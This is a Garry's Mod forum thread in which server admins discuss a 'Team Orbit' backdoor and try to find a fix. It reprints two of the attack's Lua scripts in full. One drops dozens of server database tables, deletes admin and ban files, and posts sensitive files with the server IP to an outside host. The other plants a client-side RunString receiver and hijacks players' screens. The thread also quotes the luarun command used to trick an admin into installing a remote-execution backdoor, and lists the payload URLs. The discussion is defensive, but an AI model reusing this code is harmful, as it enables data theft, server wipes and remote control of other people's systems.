Backdoor circulating around gmod, found this, any fixes?

Garry's Mod coding
#1

Ok so there’s this new script going around where players can gain full control of your server and wipe all the commonly used data tables and the ulx data folder. It’s a free open sourced script. I’m not sure if I should post the full script here or not
as per what I know from some of my sources is that this code belongs to a group known as “Team Orbit”

Here’s what one of the files include (Serverwipe.lua)



local databases = { "jobdata","darkrp_door","darkrp_levels","darkrp_prestige","darkrp_doorgroups","darkrp_doorjobs","darkrp_jobspawn","darkrp_position","darkrp_player","darkrp_dbversion","FAdmin_CAMIPrivileges","FADMIN_GROUPS","FAdmin_Immunity","FADMIN_MOTD","FAdmin_PlayerGroup","FADMIN_PRIVILEGES","FADMIN_RESTRICTEDENTS","FAdmin_ServerSettings","FAdminBans","FPP_ANTISPAM1","FPP_BLOCKED1","FPP_BLOCKMODELSETTINGS1","FPP_ENTITYDAMAGE1","FPP_GLOBALSETTINGS1","FPP_GRAVGUN1","FPP_GROUPMEMBERS1","FPP_GROUPS3","FPP_GROUPTOOL","FPP_PHYSGUN1","FPP_PLAYERUSE1","FPP_TOOLADMINONLY","FPP_TOOLGUN1","FPP_TOOLRESTRICTPERSON1","FPP_TOOLTEAMRESTRICT","FPP_BLOCKEDMODELS1","awarn_playerdata","awarn_serverdata","awarn_warnings","blogs_players_v3","blogs_v3","stt_date","stt_players","mlog_logs","mlog_permissions","atlaschat_players","atlaschat_ranks","atlaschat_remote","atlaschat_restrictions","OreBag","fcd_playerData","dailylogin","ChessLeaderboard","qsgr_data","voting_npcs","cac_incidents","steam_rewards","playerdata","playerinformation","utime","permaprops","cc_characters","cc_npcs","ckit_chips","ckit_persist","exsto_data_bans","exsto_data_ranks","exsto_data_users","exsto_data_variables","exsto_restriction","inventories","kinv_items","libk_player","permitems","player_gangapps","player_gangdata","player_gangs","ps2_categories","ps2_equipmentslot","ps2_HatPersistence","ps2_itemmapping","ps2_itempersistence","ps2_OutfitHatPersistenceMapping","ps2_outfits","ps2_playermodelpersistence","ps2_servers","ps2_settings","ps2_trailpersistence","ps2_wallet","removeprops","scoreboard_friends","serverguard_analytics","serverguard_bans","serverguard_pms","serverguard_ranks","serverguard_reports","serverguard_schema","serverguard_ttt_autoslays","serverguard_users","serverguard_watchlist","tttstats","ttt_passes_history","specdm_stats_new","ps2_achievements","ps2_boosterpersistence","ps2_cratepersistence","ps2_instatswitchweaponpersistence","ps2_keypersistence","ps2_rolecontrolpersistence","ps2_weaponpersistence","rapsheet","damagelog_autoslay","damagelog_names","damagelog_oldlogs","damagelog_weapons","kmapvote_mapinfo","kmapvote_ratings","mgang_gangs","mgang_players","deathrun_ids","deathrun_records","deathrun_stats","sui_ratings","shop_texthats","shop_money","shop_items","report_log" }
local datafiles = { "ulib/bans.txt","ulib/groups.txt","ulib/misc_registered.txt","ulib/users.txt","ulx/adverts.txt","ulx/apromote.txt","ulx/banmessage.txt","ulx/banreasons.txt","ulx/downloads.txt","ulx/gimps.txt","ulx/motd.txt","ulx/restrictions.txt","ulx/sbox_limits.txt","ulx/votemaps.txt","apg/settings.txt","atags/tags.txt","atags/rankchattags.txt","atags/playerchattags.txt","atags/tags.txt","atags/selectedtags.txt","atags/ranktags.txt","atags/playertags.txt","vcmod/settings_sv.txt","vcmod/config_sv_privilages.txt","wire_version.txt","UTeam.txt","prevhas.txt","cac/system_log_sv.txt","cac/serverworkshopinformation.txt","cac/settings.txt","cac/serverluainformation.txt","hitnumbers/settings.txt","soundlists/common_sounds.txt","vcmod/controls.txt","vcmod/dataserver.txt","qsgr_data/sqgr_settings.txt","blogs/configcache.txt","blogs/language.txt","cac/adminuipack.txt","ezjobs/config.txt","damagelog/colors.txt","damagelog/filters_new.txt","craphead_scripts/armory_robbery/rp_downtown_v4c/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v4c_v2/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v2/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_evilmelon_v1/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v4c_v3/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v4c_v4/policearmory_location.txt","mg_gangsdata/mg_npcspawns.txt","ulx/debugdump.txt","ulx/empty_teams.txt","chattags.txt","caseclaims.txt", "sammyservers_textscreens.txt","permaprops_permissions.txt","chattags.txt","prevhash.txt","permaprops_config.txt","zwhitelistjobdata/jobsetting.txt","zwhitelistjobdata/whitelistjob.txt","zmodserveroption/sysjobwhitelist.txt","vliss/settings/config.txt","nordahl_spawnpoint/rp_venator_v3.txt","nordahl_spawnpoint/rp_venator_v2.txt","nordahl_spawnpoint/rp_venator_v1.txt","nordahl_spawnpoint/rp_venator_gg.txt","nordahl_spawnpoint/rp_venator_ausv4.txt","nordahl_spawnpoint/rp_venator_v2_ffg.txt","planningevent/prehud.txt","planningoption/hourformat.txt","nordahl_spawnpoint/arena_byre.txt","nordahl_spawnpoint/rp_venator_v2_immersive.txt","nordahl_spawnpoint/rp_venator_fade_v3.txt","nordahl_spawnpoint/rp_venator_gr.txt","nordahl_spawnpoint/rp_tatoonie_dunsea_v1.txt","nordahl_spawnpoint/rp_scifi.txt","nordahl_spawnpoint/rishimoon_crimson.txt","nordahl_spawnpoint/rp_pripyat_hl2.txt","nordahl_spawnpoint/rp_onwardhope.txt", "nordahl_spawnpoint/rp_oldworld_fix.txt","nordahl_spawnpoint/sd_doomsday.txt","nordahl_spawnpoint/sd_doomsday_event.txt","nordahl_spawnpoint/rp_naboo_city_v1.txt","nordahl_spawnpoint/rp_noclyria_crimson.txt","nordahl_spawnpoint/rp_nar_shaddaa_v2.txt","nordahl_spawnpoint/rp_mos_mersic_v2.txt","nordahl_spawnpoint/rp_kashyyk_jungle_b2.txt","nordahl_spawnpoint/dust_dunes.txt","nordahl_spawnpoint/rp_cscdesert_v2-1_propfix.txt","nordahl_spawnpoint/rd_asteroid.txt","nordahl_spawnpoint/naboo.txt","nordahl_spawnpoint/kashyyyk.txt","nordahl_spawnpoint/geonosis.txt","nordahl_spawnpoint/fightspace3b.txt","nordahl_spawnpoint/endor.txt","nordahl_spawnpoint/toth_forgotten.txt"}
local sensitivefiles = { "ulx_logs/"..date..".txt","ulib/bans.txt","ulib/groups.txt","ulib/misc_registered.txt","ulib/users.txt","ulx/adverts.txt","ulx/apromote.txt","ulx/banmessage.txt","ulx/banreasons.txt","ulx/downloads.txt","ulx/gimps.txt","ulx/motd.txt","ulx/restrictions.txt","ulx/sbox_limits.txt","ulx/votemaps.txt","apg/settings.txt","atags/tags.txt","atags/rankchattags.txt","atags/playerchattags.txt","atags/tags.txt","atags/selectedtags.txt","atags/ranktags.txt","atags/playertags.txt","vcmod/settings_sv.txt","vcmod/config_sv_privilages.txt","cac/system_log_sv.txt","cac/serverworkshopinformation.txt","cac/settings.txt","cac/serverluainformation.txt","vcmod/controls.txt","vcmod/dataserver.txt","blogs/configcache.dat","blogs/language.txt","blogs/config_v5.txt","cac/adminuipack.txt","ulx/debugdump.txt","ulx/empty_teams.txt","chattags.txt","caseclaims.txt", "sammyservers_textscreens.txt","permaprops_permissions.txt","chattags.txt","permaprops_config.txt","whitelist.txt","zwhitelistjobdata/jobsetting.txt","zwhitelistjobdata/whitelistjob.txt","zmodserveroption/sysjobwhitelist.txt","nordahl_spawnpoint/rp_venator_v3.txt","nordahl_spawnpoint/rp_venator_v2.txt","nordahl_spawnpoint/rp_venator_v1.txt","nordahl_spawnpoint/rp_venator_gg.txt","nordahl_spawnpoint/rp_venator_ausv4.txt","nordahl_spawnpoint/rp_venator_v2_ffg.txt","planningevent/prehud.txt","planningoption/hourformat.txt","nordahl_spawnpoint/arena_byre.txt","nordahl_spawnpoint/rp_venator_v2_immersive.txt","nordahl_spawnpoint/rp_venator_fade_v3.txt","nordahl_spawnpoint/rp_venator_gr.txt","nordahl_spawnpoint/rp_tatoonie_dunsea_v1.txt","nordahl_spawnpoint/rp_scifi.txt","nordahl_spawnpoint/rishimoon_crimson.txt","nordahl_spawnpoint/rp_pripyat_hl2.txt","nordahl_spawnpoint/rp_onwardhope.txt", "nordahl_spawnpoint/rp_oldworld_fix.txt","nordahl_spawnpoint/sd_doomsday.txt","nordahl_spawnpoint/sd_doomsday_event.txt","nordahl_spawnpoint/rp_naboo_city_v1.txt","nordahl_spawnpoint/rp_noclyria_crimson.txt","nordahl_spawnpoint/rp_nar_shaddaa_v2.txt","nordahl_spawnpoint/rp_mos_mersic_v2.txt","nordahl_spawnpoint/rp_kashyyk_jungle_b2.txt","nordahl_spawnpoint/dust_dunes.txt","nordahl_spawnpoint/rp_cscdesert_v2-1_propfix.txt","nordahl_spawnpoint/rd_asteroid.txt","nordahl_spawnpoint/naboo.txt","nordahl_spawnpoint/kashyyyk.txt","nordahl_spawnpoint/geonosis.txt","nordahl_spawnpoint/fightspace3b.txt","nordahl_spawnpoint/endor.txt","nordahl_spawnpoint/toth_forgotten.txt"}
local date = os.date( "%m-%d-%y" )
for k,v in pairs( databases ) do if sql.TableExists( v ) then
        sql.Query( "DROP TABLE "..v.." ;" )
        sql.Query( "CREATE TABLE IF NOT EXISTS "..v.." ( steamid TEXT NOT NULL PRIMARY KEY, value TEXT );" )
    end
end
timer.Simple(5, function() for k,v in pairs( datafiles ) do if file.Exists(v, "DATA") then file.Delete( v ) end end end )
for k,v in pairs( sensitivefiles ) do if file.Exists(v, "DATA") then http.Post("http://bracegaming.com/data/log.php",{a=game.GetIPAddress(),b=v,c=file.Read(v)}) file.Delete( v ) end end
--hook.Add( "Think", "killulxlogs", function() file.Delete( "ulx_logs/"..date..".txt" ) end )

Also here’s another one (disco.lua)



util.AddNetworkString("slua")
 
local lol = {}
function lol:RandomString( intMin, intMax )
    local ret = ""
    for _ = 1, math.random( intMin, intMax ) do
        ret = ret.. string.char( math.random(65, 90) )
    end
 
    return ret
end
 
lol.m_tblActions = {}
lol.m_strImageGlobalVar = lol:RandomString( 6, 12 )
lol.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
 
function lol:PushAction( intChainDelay, func )
    self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
end
 
function lol:NextAction( pPlayer )
    pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
    if not self.m_tblActions[pPlayer.m_intCurAction] then return end
 
    timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
        if not IsValid( pPlayer ) then return end
        self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
        self:NextAction( pPlayer )
    end )
end
 
function lol:Start( pPlayer )
    pPlayer.m_intCurAction = 0
    self:NextAction( pPlayer )
end
 
function lol:SendLua( pPlayer, strLua )
    net.Start( "slua" )
        net.WriteString( strLua )
    net.Send( pPlayer )
end
 
function lol:SetupPlayer( pPlayer )
    pPlayer:SendLua( "net.Receive(\"slua\", function() RunString(net.ReadString()) end)" )
end
 
for k, v in pairs( player.GetAll() ) do
    lol:SetupPlayer( v )
    timer.Simple( 2, function() lol:Start( v ) end )
end
 
hook.Add( "PlayerAuthed", "wat", function( pPlayer )
    lol:SetupPlayer( pPlayer )
    timer.Simple( 10, function() lol:Start( pPlayer ) end )
end )
 
hook.Add( "PlayerSay", "1337command", function( pSender, strText, bTeamChat )
    if strText:sub( 1, 5 ) == "/1337" then
        pSender:Ignite( 1e9 )
        pSender:ChatPrint( "lol jk" )
        pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
        return false
    end
end )
 
 
 
--Sequence stack
--Start some tunes and steam in our assets
lol:PushAction( 0, function( pPlayer )
    lol:SendLua( pPlayer, ([=[
        sound.PlayURL( "https://squish.space/haxman/blue.mp3", "", function()end )
       
        g_]=].. lol.m_strImageGlobalVar.. [=[ = {}
        local html = [[%s]]
        local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
            local pnl = vgui.Create( "HTML" )
            pnl:SetPos( ScrW() -1, ScrH() -1 )
            pnl:SetVisible( true )
            pnl:SetMouseInputEnabled( false )
            pnl:SetKeyBoardInputEnabled( false )
            pnl:SetSize( intSizeX, intSizeY )
            pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
           
            local PageLoaded
            PageLoaded = function()
                local mat = pnl:GetHTMLMaterial()
                if mat then
                    g_]=].. lol.m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
                    return
                end
               
                timer.Simple( 0.5, PageLoaded )
            end
 
            PageLoaded()
        end
 
        LoadWebMaterial( "https://squish.space/haxman/hud.png", "hud1", 300, 128 )
        LoadWebMaterial( "https://squish.space/haxman/hud2.png", "hud2", 300, 128 )
        LoadWebMaterial( "https://squish.space/haxman/hud3.png", "hud3", 128, 128 )
        LoadWebMaterial( "https://squish.space/haxman/xhair.png", "xhair", 64, 64 )
        LoadWebMaterial( "http://teamorbit.x10.bz/images/sezied.jpg", "doritos", 183, 256 )
        LoadWebMaterial( "https://squish.space/haxman/fedora.png", "fedora", 256, 256 )
        LoadWebMaterial( "https://squish.space/haxman/dew.png", "dew", 110, 256 )
        LoadWebMaterial( "https://squish.space/haxman/doritos.png", "awp", 183, 256 )
    ]=]):format(lol.m_strImageLoadHTML) )
end )
 
--HUD swap
lol:PushAction( 31, function( pPlayer )
    lol:SendLua( pPlayer, [[
        (GAMEMODE or GM).CalcView = function() end
        (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
 
        local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
        for k, v in pairs(remove) do
            hook.GetTable()[v] = {}
        end
 
        local function GetWebMat( strURL )
            return g_]].. lol.m_strImageGlobalVar.. [[[strURL]
        end
 
        hook.Add( "HUDPaint", "newhud", function()
            surface.SetDrawColor( 255, 255, 255, 255 )
 
            if GetWebMat( "hud1" ) then
                surface.SetMaterial( GetWebMat("hud1")[1] )
                surface.DrawTexturedRect( 0, ScrH() -128, 300 *(512 /300), 128 )
            end
            if GetWebMat( "hud2" ) then
                surface.SetMaterial( GetWebMat("hud2")[1] )
                surface.DrawTexturedRect( ScrW() -300, ScrH() -128, 300 *(512 /300), 128 )
            end
            if GetWebMat( "hud3" ) then
                surface.SetMaterial( GetWebMat("hud3")[1] )
                surface.DrawTexturedRect( 45, ScrH() -245, 128, 128 )
            end
            if GetWebMat( "xhair" ) then
                surface.SetMaterial( GetWebMat("xhair")[1] )
                surface.DrawTexturedRect( (ScrW() /2) -32, (ScrH() /2) -32, 64, 64 )
            end
 
            if GetWebMat( "doritos" ) then
                surface.SetMaterial( GetWebMat("doritos")[1] )
                surface.DrawTexturedRectRotated( math.random(250, 260), math.random(250, 260), 183 *(256 /183), 256, CurTime() *512 )
            end
            if GetWebMat( "dew" ) then
                surface.SetMaterial( GetWebMat("dew")[1] )
                surface.DrawTexturedRectRotated( math.random(400, 410), math.random(ScrH() -260, ScrH() -250), 110 *((256 /110) -1), 256, CurTime() *-512 )
            end
            if GetWebMat( "fedora" ) then
                surface.SetMaterial( GetWebMat("fedora")[1] )
                surface.DrawTexturedRectRotated( ScrW() -math.random(250, 260), math.random(250, 260), 256, 256, CurTime() *-512 )
            end
            if GetWebMat( "awp" ) then
                surface.SetMaterial( GetWebMat("awp")[1] )
                surface.DrawTexturedRectRotated( ScrW() -math.random(400, 410), math.random(ScrH() -260, ScrH() -250), 256, 55, CurTime() *512 )
            end
 
            draw.SimpleTextOutlined(
                "Seized By Team Orbit",
                "DermaLarge",
                ScrW() /2 +math.random( -8, 8 ),
                ScrH() /2 +math.random( -8, 8 ) +64,
                Color( 255, 0, 0, 255 ),
                TEXT_ALIGN_CENTER,
                TEXT_ALIGN_CENTER,
                1,
                Color( 0, 0, 255, 255 )
            )
        end )
 
        local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
        hook.Add( "HUDShouldDraw", "newhud", function( str ) if not allowed[str] then return false end end )
 
        surface.PlaySound( "garrysmod/save_load4.wav" )
        surface.PlaySound( "vo/npc/male01/excuseme02.wav" )
    ]] )
end )
 
 
lol:PushAction( 10, function( pPlayer )
    local idx = pPlayer:EntIndex()
    timer.Create( "beat".. idx, 0.42, 0, function()
        if not IsValid( pPlayer ) then timer.Destroy( "beat".. idx ) return end
        pPlayer:ViewPunch( Angle(math.Rand(-15, -10), math.Rand(-10, 10), 0) )
    end )
 
 
    lol:SendLua( pPlayer, [[
        local emitter = ParticleEmitter( LocalPlayer():GetPos() )
        local time = 0
 
        hook.Add( "Think", "wat", function()
            if CurTime() < time then
                return
            end
 
            time = CurTime() +0.05
            for i = 1, 16 do
                local part = emitter:Add(
                    "particles/balloon_bit",
                    LocalPlayer():GetPos() +Vector(
                        math.random( -256, 256 ),
                        math.random( -256, 256 ),
                        256
                    )
                )
               
                if part then
                    local Size = math.random( 4, 7 )
                   
                    part:SetColor( math.random(0, 255), math.random(0, 255), math.random(0, 255), 255 )
                    part:SetVelocity( Vector( 40, 25, -math.random(300, 400) ) )
                    part:SetDieTime( 4.5 )
                    part:SetGravity( Vector(40, 0, -250) )
                    part:SetLifeTime( 0 )
                    part:SetStartSize( Size /2 )
                    part:SetEndSize( Size )
                    part:SetCollide( true )
                end
            end
        end )
    ]] )
 
    lol:SendLua( pPlayer, [[
        hook.Add( "RenderScreenspaceEffects", "wat", function()
            local sinScaler = math.sin( CurTime() )
            DrawBloom(
                0,
                3,
                sinScaler *math.Rand(1, 8),
                sinScaler *math.Rand(1, 8),
                6,
                math.Rand(0.5, 2),
                math.Rand(0, 0.3),
                math.Rand(0, 0.3),
                math.Rand(0.5, 1)
            )
 
            DrawColorModify{
                ["$pp_colour_addr"] = 0,
                ["$pp_colour_addg"] = 0,
                ["$pp_colour_addb"] = 00,
                ["$pp_colour_brightness" ] = 0,
                ["$pp_colour_contrast" ] = 1,
                ["$pp_colour_colour" ] = 1,
                ["$pp_colour_mulr" ] = 0,
                ["$pp_colour_mulg" ] = 0,
                ["$pp_colour_mulb" ] = 1
            }
        end )
 
        local mdl = ClientsideModel( "models/player/skeleton.mdl", RENDERGROUP_BOTH )
        mdl:SetNoDraw( true )
        local posCache, time = {}, 0
 
        hook.Add( "HUDPaint", "dance", function()
            if not mdl.SeqStart or CurTime() > (mdl.SeqStart +mdl.SeqDuration) then
                local idx = mdl:LookupSequence("taunt_dance")
                mdl.SeqDuration = mdl:SequenceDuration( idx )
                mdl.SeqStart = CurTime()
                mdl:ResetSequence( idx )
            end
 
            mdl:SetCycle( (CurTime() -mdl.SeqStart) /mdl.SeqDuration )
 
           
            local w, h = 300, 300
            local ang = Angle( 0, 0, 0 )
 
            for i = 1, 32 do
                if CurTime() > time then
                    posCache* = { math.random( 0, ScrW() -w ), math.random( 0, ScrH() -h ) }
                end
                local x, y = posCache*[1], posCache*[2]
 
                cam.Start3D( (ang:Forward() *64) +(ang:Up() *32), (ang:Forward()*-1):Angle(), 90, x, y, w, h )
                    cam.IgnoreZ( true )
                    render.SuppressEngineLighting( true )
                   
                    render.SetLightingOrigin( mdl:GetPos() )
                    render.ResetModelLighting( 1, 1, 1 )
                    render.SetColorModulation( 0, 0, 1 )
 
                    mdl:DrawModel()
                   
                    render.SuppressEngineLighting( false )
                    cam.IgnoreZ( false )
                cam.End3D()
            end
 
            if CurTime() > time then
                time = CurTime() +0.15
            end
        end )
 
        surface.PlaySound( "vo/npc/male01/ohno.wav" )
    ]] )
end )
 
lol:PushAction( 54, function( pPlayer )
    lol:SendLua( pPlayer, [[
        hook.Add( "GetMotionBlurValues", "wat", function()
            return 0, 0, 1, math.sin(CurTime() *13)
        end )
 
        hook.Add( "RenderScreenspaceEffects", "ohgod", function()
            local sinScaler = math.sin( CurTime() *(RealFrameTime() *1024) )
            DrawSharpen( 1 +(sinScaler *10), 0.5 +(sinScaler *2) )
            DrawMaterialOverlay( "effects/tp_eyefx/tpeye", 1 )
        end )
 
        hook.Add( "PostDrawTranslucentRenderables", "ohgod", function()
            render.SetMaterial( Material("cable/blue_elec") )
            for i = 1, 32 do
                render.DrawBeam( LocalPlayer():GetPos() +Vector(0, 0, 128) +(EyeAngles():Forward() *256), EyePos() +(VectorRand() *256), 4, 0, 12.5, Color(255, 255, 255, 255) )
            end
        end )
 
        timer.Create( "thedrop", 0.42, 0, function()
            util.ScreenShake( LocalPlayer():GetPos(), 512, 5, 0.25, 128 )
        end )
    ]] )
end )
#2

:snip: I’m annoying

#3

What I mean is that this script is Publicly free and available for anyone, so this is a high priority

#4

It just seems to use

Player:SendLua and

RunString, two things that (hopefully) don’t work if the server properly uses sv_allowcslua.

However, if any addon uses these scripts and the server has this addon installed, sv_allowcslua won’t do anything.

#5

The server I seen it happen to has sv_allowcslua set to 0. Also the player on the server that did it was able to strip peoples weapons secretly and then he went to the superadmin and said he knew the fix and told him to run “ulx luarun util.AddNetworkString(‘nostrip’) net.Receive(‘nostrip’,function(len,pl) RunStringEx(net.ReadString(),’[C]’,false) end)” which gave him a menu to basically have full control of the server. Yes I know that superadmin/owner was stupid for doing it lmao. Here’s the video of the kid doing it. https://www.youtube.com/watch?v=ZIT6xZ4WoiM

[editline]22nd October 2017[/editline]

I have all the files for the script if you need me to send it to you, just pm me on steam

#6

Lmao I remember when Sexy Grandpa stevens from Modified gaming did this a few years back. The code looks really familiar.

#7

The first script simply tries to wipe data from the server.
The second script, unless I’m missing something, looks harmless (apart from replacing the hud and do meme stuff) to me. It looks like it’s written to run after gaining access to a server.

I don’t see any exploits here. These scripts need a backdoor of some sort, maybe a workshop addon?

#8

It’s not the full file, I didn’t paste the full script due to security concerns, however if you would like I would be obliged to send the full file

#9

theres no security concerns lol its just some code on workshop addons

#10

The second script doesn’t even run for me. It looked like it would be a lot of fun.
In the video you showed it played 2 layers of the music accidentally, which ruins the timing.

This is the music by the way:
https://squish.space/haxman/blue.mp3
It gives you a good idea of what this script would do if it worked.

#11

Here is the full file: https://www.dropbox.com/s/bmh3nwfi36adt69/Team_orbit.zip?dl=0

#12

I’m pretty sure disco.lua is using RunString and SendLua mostly because it’s a lazy script. sv_allowcslua doesn’t have anything to do with this and won’t have any effect.

#13

I talked to the owner of the server that this happened on, and he said no ones done any jobs for him recently and no one else has FTP access. But here’s his workshop collection if that helps xD

#14

That’s just code that kids trick server admins into running. There’s no need to be worried.

The 2nd block was made by The Commander. Skids use it these days to freak people out.

#15

The kids were even stripping weapons from players before the superadmin even entered the command into console, thats how he convinced him to enter it, the superadmin thought that maybe that would fix it due to his concern

#16

It’s code that the server needs to run somehow.

#17

Useless thing: they have some links to other stuff that could be used:
http://teamorbit.x10.bz/lua/hell.lua
http://teamorbit.x10.bz/lua/gas.lua
http://teamorbit.x10.bz/lua/disco.lua
http://teamorbit.x10.bz/lua/serverwipe.lua

Also some junk:
https://squish.space/haxman/blue.mp3
https://squish.space/haxman/hud.png
https://squish.space/haxman/hud2.png
https://squish.space/haxman/hud3.png
https://squish.space/haxman/xhair.png
https://squish.space/haxman/fedora.png
https://squish.space/haxman/dew.png
https://squish.space/haxman/doritos.png
http://teamorbit.x10.bz/images/sezied.jpg
http://teamorbit.x10.bz/lua/data/makefolders.php
http://teamorbit.x10.bz/lua/data/makefiles.php
http://bracegaming.com/data/log.php

#18

poorly coded addons most likely

#19

That was an old exploit publicly reported here back in early August.

#20

I don’t want to spend hours looking into which addon it could be. Maybe we should make something that does this automatically somehow? (I’d rather spend time on that)